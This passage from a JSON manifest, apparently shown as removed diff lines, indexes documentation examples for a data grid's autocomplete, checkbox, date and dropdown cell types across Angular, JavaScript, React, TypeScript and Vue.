sortByRelevance option", - "docPermalink": "/autocomplete-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/vue/example8.vue", - "file": "guides__cell-types__autocomplete-cell-type__vue__example8.vue.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example8", - "exampleTitle": "The sortByRelevance option", - "docPermalink": "/autocomplete-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/angular/example9.ts", - "file": "guides__cell-types__autocomplete-cell-type__angular__example9.ts.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example9", - "exampleTitle": "The allowHtml option", - "docPermalink": "/autocomplete-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example9.js", - "file": "guides__cell-types__autocomplete-cell-type__javascript__example9.js.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example9", - "exampleTitle": "The allowHtml option", - "docPermalink": "/autocomplete-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/react/example9.tsx", - "file": "guides__cell-types__autocomplete-cell-type__react__example9.tsx.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example9", - "exampleTitle": "The allowHtml option", - "docPermalink": "/autocomplete-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/javascript/example9.ts", - "file": "guides__cell-types__autocomplete-cell-type__javascript__example9.ts.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example9", - "exampleTitle": "The allowHtml option", - "docPermalink": "/autocomplete-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/autocomplete-cell-type/vue/example9.vue", - "file": "guides__cell-types__autocomplete-cell-type__vue__example9.vue.json", - "breadcrumb": [ - "Cell Types", - "Autocomplete cell type" - ], - "guide": "guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md", - "guideTitle": "Autocomplete cell type", - "exampleId": "example9", - "exampleTitle": "The allowHtml option", - "docPermalink": "/autocomplete-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/cell-type/angular/example1.ts", - "file": "guides__cell-types__cell-type__angular__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Cell type" - ], - "guide": "guides/cell-types/cell-type/cell-type.md", - "guideTitle": "Cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/cell-type/javascript/example1.js", - "file": "guides__cell-types__cell-type__javascript__example1.js.json", - "breadcrumb": [ - "Cell Types", - "Cell type" - ], - "guide": "guides/cell-types/cell-type/cell-type.md", - "guideTitle": "Cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/cell-type/react/example1.tsx", - "file": "guides__cell-types__cell-type__react__example1.tsx.json", - "breadcrumb": [ - "Cell Types", - "Cell type" - ], - "guide": "guides/cell-types/cell-type/cell-type.md", - "guideTitle": "Cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/cell-type/javascript/example1.ts", - "file": "guides__cell-types__cell-type__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Cell type" - ], - "guide": "guides/cell-types/cell-type/cell-type.md", - "guideTitle": "Cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/cell-type/vue/example1.vue", - "file": "guides__cell-types__cell-type__vue__example1.vue.json", - "breadcrumb": [ - "Cell Types", - "Cell type" - ], - "guide": "guides/cell-types/cell-type/cell-type.md", - "guideTitle": "Cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/cell-type/angular/example2.ts", - "file": "guides__cell-types__cell-type__angular__example2.ts.json", - "breadcrumb": [ - "Cell Types", - "Cell type" - ], - "guide": "guides/cell-types/cell-type/cell-type.md", - "guideTitle": "Cell type", - "exampleId": "example2", - "exampleTitle": "Empty cells", - "docPermalink": "/cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/cell-type/javascript/example2.js", - "file": "guides__cell-types__cell-type__javascript__example2.js.json", - "breadcrumb": [ - "Cell Types", - "Cell type" - ], - "guide": "guides/cell-types/cell-type/cell-type.md", - "guideTitle": "Cell type", - "exampleId": "example2", - "exampleTitle": "Empty cells", - "docPermalink": "/cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/cell-type/react/example2.tsx", - "file": "guides__cell-types__cell-type__react__example2.tsx.json", - "breadcrumb": [ - "Cell Types", - "Cell type" - ], - "guide": "guides/cell-types/cell-type/cell-type.md", - "guideTitle": "Cell type", - "exampleId": "example2", - "exampleTitle": "Empty cells", - "docPermalink": "/cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/cell-type/javascript/example2.ts", - "file": "guides__cell-types__cell-type__javascript__example2.ts.json", - "breadcrumb": [ - "Cell Types", - "Cell type" - ], - "guide": "guides/cell-types/cell-type/cell-type.md", - "guideTitle": "Cell type", - "exampleId": "example2", - "exampleTitle": "Empty cells", - "docPermalink": "/cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/cell-type/vue/example2.vue", - "file": "guides__cell-types__cell-type__vue__example2.vue.json", - "breadcrumb": [ - "Cell Types", - "Cell type" - ], - "guide": "guides/cell-types/cell-type/cell-type.md", - "guideTitle": "Cell type", - "exampleId": "example2", - "exampleTitle": "Empty cells", - "docPermalink": "/cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/cell-type/angular/example3.ts", - "file": "guides__cell-types__cell-type__angular__example3.ts.json", - "breadcrumb": [ - "Cell Types", - "Cell type" - ], - "guide": "guides/cell-types/cell-type/cell-type.md", - "guideTitle": "Cell type", - "exampleId": "example3", - "exampleTitle": "Set different cell types in one column", - "docPermalink": "/cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/cell-type/javascript/example3.js", - "file": "guides__cell-types__cell-type__javascript__example3.js.json", - "breadcrumb": [ - "Cell Types", - "Cell type" - ], - "guide": "guides/cell-types/cell-type/cell-type.md", - "guideTitle": "Cell type", - "exampleId": "example3", - "exampleTitle": "Set different cell types in one column", - "docPermalink": "/cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/cell-type/react/example3.tsx", - "file": "guides__cell-types__cell-type__react__example3.tsx.json", - "breadcrumb": [ - "Cell Types", - "Cell type" - ], - "guide": "guides/cell-types/cell-type/cell-type.md", - "guideTitle": "Cell type", - "exampleId": "example3", - "exampleTitle": "Set different cell types in one column", - "docPermalink": "/cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/cell-type/javascript/example3.ts", - "file": "guides__cell-types__cell-type__javascript__example3.ts.json", - "breadcrumb": [ - "Cell Types", - "Cell type" - ], - "guide": "guides/cell-types/cell-type/cell-type.md", - "guideTitle": "Cell type", - "exampleId": "example3", - "exampleTitle": "Set different cell types in one column", - "docPermalink": "/cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/cell-type/vue/example3.vue", - "file": "guides__cell-types__cell-type__vue__example3.vue.json", - "breadcrumb": [ - "Cell Types", - "Cell type" - ], - "guide": "guides/cell-types/cell-type/cell-type.md", - "guideTitle": "Cell type", - "exampleId": "example3", - "exampleTitle": "Set different cell types in one column", - "docPermalink": "/cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/angular/example1.ts", - "file": "guides__cell-types__checkbox-cell-type__angular__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/checkbox-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/javascript/example1.js", - "file": "guides__cell-types__checkbox-cell-type__javascript__example1.js.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/checkbox-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/react/example1.tsx", - "file": "guides__cell-types__checkbox-cell-type__react__example1.tsx.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/checkbox-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/javascript/example1.ts", - "file": "guides__cell-types__checkbox-cell-type__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/checkbox-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/vue/example1.vue", - "file": "guides__cell-types__checkbox-cell-type__vue__example1.vue.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/checkbox-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/angular/example2.ts", - "file": "guides__cell-types__checkbox-cell-type__angular__example2.ts.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example2", - "exampleTitle": "Checkbox template", - "docPermalink": "/checkbox-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/javascript/example2.js", - "file": "guides__cell-types__checkbox-cell-type__javascript__example2.js.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example2", - "exampleTitle": "Checkbox template", - "docPermalink": "/checkbox-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/react/example2.tsx", - "file": "guides__cell-types__checkbox-cell-type__react__example2.tsx.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example2", - "exampleTitle": "Checkbox template", - "docPermalink": "/checkbox-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/javascript/example2.ts", - "file": "guides__cell-types__checkbox-cell-type__javascript__example2.ts.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example2", - "exampleTitle": "Checkbox template", - "docPermalink": "/checkbox-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/vue/example2.vue", - "file": "guides__cell-types__checkbox-cell-type__vue__example2.vue.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example2", - "exampleTitle": "Checkbox template", - "docPermalink": "/checkbox-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/angular/example3.ts", - "file": "guides__cell-types__checkbox-cell-type__angular__example3.ts.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example3", - "exampleTitle": "Checkbox labels", - "docPermalink": "/checkbox-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/javascript/example3.js", - "file": "guides__cell-types__checkbox-cell-type__javascript__example3.js.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example3", - "exampleTitle": "Checkbox labels", - "docPermalink": "/checkbox-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/react/example3.tsx", - "file": "guides__cell-types__checkbox-cell-type__react__example3.tsx.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example3", - "exampleTitle": "Checkbox labels", - "docPermalink": "/checkbox-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/javascript/example3.ts", - "file": "guides__cell-types__checkbox-cell-type__javascript__example3.ts.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example3", - "exampleTitle": "Checkbox labels", - "docPermalink": "/checkbox-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/vue/example3.vue", - "file": "guides__cell-types__checkbox-cell-type__vue__example3.vue.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example3", - "exampleTitle": "Checkbox labels", - "docPermalink": "/checkbox-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/angular/example4.ts", - "file": "guides__cell-types__checkbox-cell-type__angular__example4.ts.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example4", - "exampleTitle": "Label value as a function", - "docPermalink": "/checkbox-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/javascript/example4.js", - "file": "guides__cell-types__checkbox-cell-type__javascript__example4.js.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example4", - "exampleTitle": "Label value as a function", - "docPermalink": "/checkbox-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/react/example4.tsx", - "file": "guides__cell-types__checkbox-cell-type__react__example4.tsx.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example4", - "exampleTitle": "Label value as a function", - "docPermalink": "/checkbox-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/javascript/example4.ts", - "file": "guides__cell-types__checkbox-cell-type__javascript__example4.ts.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example4", - "exampleTitle": "Label value as a function", - "docPermalink": "/checkbox-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/checkbox-cell-type/vue/example4.vue", - "file": "guides__cell-types__checkbox-cell-type__vue__example4.vue.json", - "breadcrumb": [ - "Cell Types", - "Checkbox cell type" - ], - "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", - "guideTitle": "Checkbox cell type", - "exampleId": "example4", - "exampleTitle": "Label value as a function", - "docPermalink": "/checkbox-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/date-cell-type/angular/example1.ts", - "file": "guides__cell-types__date-cell-type__angular__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Date cell type" - ], - "guide": "guides/cell-types/date-cell-type/date-cell-type.md", - "guideTitle": "Date cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/date-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/date-cell-type/javascript/example1.js", - "file": "guides__cell-types__date-cell-type__javascript__example1.js.json", - "breadcrumb": [ - "Cell Types", - "Date cell type" - ], - "guide": "guides/cell-types/date-cell-type/date-cell-type.md", - "guideTitle": "Date cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/date-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/date-cell-type/react/example1.tsx", - "file": "guides__cell-types__date-cell-type__react__example1.tsx.json", - "breadcrumb": [ - "Cell Types", - "Date cell type" - ], - "guide": "guides/cell-types/date-cell-type/date-cell-type.md", - "guideTitle": "Date cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/date-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/date-cell-type/javascript/example1.ts", - "file": "guides__cell-types__date-cell-type__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Date cell type" - ], - "guide": "guides/cell-types/date-cell-type/date-cell-type.md", - "guideTitle": "Date cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/date-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/date-cell-type/vue/example1.vue", - "file": "guides__cell-types__date-cell-type__vue__example1.vue.json", - "breadcrumb": [ - "Cell Types", - "Date cell type" - ], - "guide": "guides/cell-types/date-cell-type/date-cell-type.md", - "guideTitle": "Date cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/date-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/angular/example1.ts", - "file": "guides__cell-types__dropdown-cell-type__angular__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/dropdown-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/javascript/example1.js", - "file": "guides__cell-types__dropdown-cell-type__javascript__example1.js.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/dropdown-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/react/example1.tsx", - "file": "guides__cell-types__dropdown-cell-type__react__example1.tsx.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/dropdown-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/javascript/example1.ts", - "file": "guides__cell-types__dropdown-cell-type__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/dropdown-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/vue/example1.vue", - "file": "guides__cell-types__dropdown-cell-type__vue__example1.vue.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/dropdown-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/angular/example2.ts", - "file": "guides__cell-types__dropdown-cell-type__angular__example2.ts.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example2", - "exampleTitle": "Array of values", - "docPermalink": "/dropdown-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/javascript/example2.js", - "file": "guides__cell-types__dropdown-cell-type__javascript__example2.js.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example2", - "exampleTitle": "Array of values", - "docPermalink": "/dropdown-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/react/example2.tsx", - "file": "guides__cell-types__dropdown-cell-type__react__example2.tsx.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example2", - "exampleTitle": "Array of values", - "docPermalink": "/dropdown-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/javascript/example2.ts", - "file": "guides__cell-types__dropdown-cell-type__javascript__example2.ts.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example2", - "exampleTitle": "Array of values", - "docPermalink": "/dropdown-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/vue/example2.vue", - "file": "guides__cell-types__dropdown-cell-type__vue__example2.vue.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example2", - "exampleTitle": "Array of values", - "docPermalink": "/dropdown-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/angular/example3.ts", - "file": "guides__cell-types__dropdown-cell-type__angular__example3.ts.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example3", - "exampleTitle": "Array of objects", - "docPermalink": "/dropdown-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/javascript/example3.js", - "file": "guides__cell-types__dropdown-cell-type__javascript__example3.js.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example3", - "exampleTitle": "Array of objects", - "docPermalink": "/dropdown-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/react/example3.tsx", - "file": "guides__cell-types__dropdown-cell-type__react__example3.tsx.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example3", - "exampleTitle": "Array of objects", - "docPermalink": "/dropdown-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/javascript/example3.ts", - "file": "guides__cell-types__dropdown-cell-type__javascript__example3.ts.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example3", - "exampleTitle": "Array of objects", - "docPermalink": "/dropdown-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/vue/example3.vue", - "file": "guides__cell-types__dropdown-cell-type__vue__example3.vue.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example3", - "exampleTitle": "Array of objects", - "docPermalink": "/dropdown-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/angular/example4.ts", - "file": "guides__cell-types__dropdown-cell-type__angular__example4.ts.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example4", - "exampleTitle": "Set the dropdown width", - "docPermalink": "/dropdown-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/javascript/example4.js", - "file": "guides__cell-types__dropdown-cell-type__javascript__example4.js.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example4", - "exampleTitle": "Set the dropdown width", - "docPermalink": "/dropdown-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/react/example4.tsx", - "file": "guides__cell-types__dropdown-cell-type__react__example4.tsx.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example4", - "exampleTitle": "Set the dropdown width", - "docPermalink": "/dropdown-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/javascript/example4.ts", - "file": "guides__cell-types__dropdown-cell-type__javascript__example4.ts.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example4", - "exampleTitle": "Set the dropdown width", - "docPermalink": "/dropdown-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/vue/example4.vue", - "file": "guides__cell-types__dropdown-cell-type__vue__example4.vue.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example4", - "exampleTitle": "Set the dropdown width", - "docPermalink": "/dropdown-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/angular/example5.ts", - "file": "guides__cell-types__dropdown-cell-type__angular__example5.ts.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example5", - "exampleTitle": "Set the dropdown height", - "docPermalink": "/dropdown-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": 